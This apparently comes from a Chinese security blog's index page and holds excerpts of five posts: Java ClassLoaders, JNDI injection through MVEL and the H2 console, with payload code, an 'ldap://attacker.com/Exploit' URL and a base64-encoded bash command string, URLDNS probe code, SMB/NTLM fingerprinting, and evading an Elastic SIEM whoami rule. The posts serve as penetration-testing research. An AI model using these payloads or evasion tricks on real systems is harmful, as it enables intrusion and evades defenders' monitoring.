0x1. 类加载器: ClassLoader
Java是一个依赖于JVM(Java虚拟机)
实现的跨平台的开发语言,Java
会先通过编译器将源代码转换为Java二进制字节码,一般是保存在.class
文件中,之后通过JVM
解释器执行这段代码。字节码文件会包含很多Class信息,在JVM解释器运行的过程中,ClassLoader
就是用来加载类的,它会将Java字节码中的Class加载到内存中,而每个Class
对象内部都有一个ClassLoader
属性标识由哪个ClassLoader
加载。
常见的ClassLoader
一切的Java
类都必须经过JVM加载之后才可以运行,最常见的ClassLoader
: BootstrapClassLoader
、ExtensionClassLoader
、AppClassLoader
、URLClassLoader
、ContextClassLoader
BootstrapClassLoader
JVM内置的默认classLoader
,负责加载JVM运行时的核心类,位于JAVA_HOME/lib/rt.jar/
文件夹中,由C代码实现,Bootstrap ClassLoader
类加载器所加载的类的ClassLoader时候都会返回null
ExtClassLoader
扩展类加载器,负责加载 JVM 扩展类,扩展 jar 包位于 JAVA_HOME/lib/ext/*.jar
中,库名通常以 javax 开头
AppClassLoader
应用类加载器/系统类加载器,直接提供给用户使用的ClassLoader,它会加载ClASSPATH
环境变量或者java.class.path
属性里定义的路径中的jar包和目录,我们自己编写和使用的第三方Jar包通常都是由它来加载
Read More
测试背景
JDNI利用mvel绕过高版本java限制的时候,使用runtime exec编码变形之后执行命令失败。只能弹个计算器。

测试结果
浅蓝师傅在探索高版本JDK下JNDI 漏洞的利用方法中给出的执行方式:
private static ResourceRef tomcat_MVEL(){
ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=exec"));
ref.add(new StringRefAddr("a",
"push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');"));
return ref;
}
先说结论:把执行命令的时候push
指令去掉,可以成功执行命令。
原因探索
先把测试的命令做一次编码:open /System/Applications/Calculator.app/Contents/MacOS/Calculator
经过编码之后: bash -c {echo,b3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9y}|{base64,-d}|{bash,-i}
存在push的时候
经过一路的跳转,进入到_exec()
函数,调用堆栈如下:
Read More
0x1. 切入点
在日常测试的时候,使用ffuf发现一个/console
的接口,打开之后发现是H2 Database页面:

如果Spring Boot项目中包含h2database并且在配置文件中启用h2-console,则存在JNDI注入漏洞.
设置Driver Class
为javax.naming.InitialContext
,JDBC URL
为ldap://attacker.com/Exploit
:

根据/env
泄漏的信息,得知Java版本是1.8.0_312,高版本JDK中由于默认codebase为true从而导致客户端默认不会请求远程Server上的恶意 Class, 因此不可以直接使用LDAP加载远程恶意代码。
RMI:JDK 8u113、JDK 7u122、JDK 6u132 起 codebase 默认为 true
LDAP:JDK 11.0.1、JDK 8u191、JDK 7u201、JDK 6u211 起 codebase 默认为 true
0x2. 绕过和利用
利用本地Class作为Reference Factory绕过
利用URLDNS链可以探测Java黑盒应用里面某个类是否存在, 在珂字辈和c0ny1师傅的两篇文章讲的很详细:
URLDNS的测试代码,生成一个序列化的数据包1.ser
:
package test;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import javassist.ClassPool;
import javassist.CtClass;
public class Urldns {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://333.f9575af1.dns.1433.eu.org");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 1);
hashMap.put(url, makeClass("org.apache.commons.beanutils.BeanComparator"));
f.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));
oos.writeObject(hashMap);
}
public static Class makeClass(String clazzName) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass(clazzName);
Class clazz = ctClass.toClass();
ctClass.defrost();
return clazz;
}
}
Read More
SMB(Server Message Block)协议,可用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居就是靠它实现的。SMB使用了NetBIOS的应用程序接口 (Application Program Interface,简称API)。另外,它是一个开放性的协议,允许了协议扩展——使得它变得更大而且复杂;大约有65个最上层的作业,而每个作业都超过120个函数,甚至Windows NT也没有全部支持到,最近微软又把 SMB 改名为 CIFS(Common Internet File System),并且加入了许多新的特色。SMB协议一般端口使用为139,445,CIFS协议有三个版本:SMB、SMB2、SMB3。
NTLM
在type2返回Challenge的过程中,同时返回了操作系统类型,主机名,netbios名等等。这也就意味着如果我们在能跟服务器进行NTLM交流中,给服务器发送一个type1的请求,服务器返回type2的响应,这一步,我们就可以得到很多信息。SMBv1和SMBv2的数据包结构是不同的
SMBv1
使用非攻NTLMINFO探测SMB接口,抓包通过wireshark分析,包含操作系统类型的数据包由SMB Header和Response组成:

我们的目的是获取smb数据包的NTLM数据,然后对NTLM数据包解析,NTLM数据包上一层是GSS-API,首先找到GSS-API在整个数据包的偏移量,SMB的数据包结构长度如下:
SMB Header: 32 byte
Word Count: 1 byte
AndXCommand: 1 byte
Reserved: 1 byte
AndXOffset: 2 byte
Action: 2 byte
Security Blob Length: 2 byte (表示Security Blob的长度,这里的hex是 0f 10,小端转换为010f,再转换成10进制就是271,对应Security Blob的长度)
Byte Count: 2 byte (表示Security Blob加上NativeOS和Native Lan的长度)
Security Blob: 可变长度,取决于Security Blob Length
上面的数据包结构的关键数据是Security Blob Length
和Byte Content
,前者表示GSS-API的整个数据包长度,后者表示GSS-API和Native OS加上Native LM的数据长度:
GSS-API的长度是271 Byte

Native OS的长度是42 Byte
Read More
安装
参考链接里有详细的安装步骤,测试客户端是Windows,安装了如下软件:
- sysmon.exe(配置文件)
.\sysmon64.exe -accepteula -i c:\windows\config.xml
- winlogbeat.exe
.\install-service-winlogbeat.ps1
.\winlogbeat.exe setup -e
- ElasticAgent.exe
.\elastic-agent.exe install --insecure -f --fleet-server-es=<ES> --fleet-server-service-token=<token>
规则监测和绕过
规则有5种查询,一般使用EQL(Event Query Language)查询类型:

SIEM有内置很多规则,默认是关闭状态,这些规则都是ATT&CK框架攻击行为转化而来的,例如windows下的whoami
查询规则(正经人谁查whoami啊):
process where event.type in ("start", "process_started") and process.name : "whoami.exe"
我们拿这条规则做分析,这条规则匹配了当进程开始的时候,进程名为whoami.exe
的时候触发,所以我们把whoami.exe
复制一下,就可以绕过去了:
copy C:\Windows\System32\whoami.exe C:\Windows\temp\x.exe
C:\Windows\temp\x.exe
是不是把siem想的简单了,这跟通过复制net.exe
绕过添加用户一模一样,仔细观察下elk里面的字段,可以发现process.pe.original_file_name
仍然保留了whoami.exe
,这是PE文件里面固定的,所以我们手动把预警规则修改一下:
process where event.type in ("start", "process_started") and process.pe.original_file_name: "whoami.exe"
Read More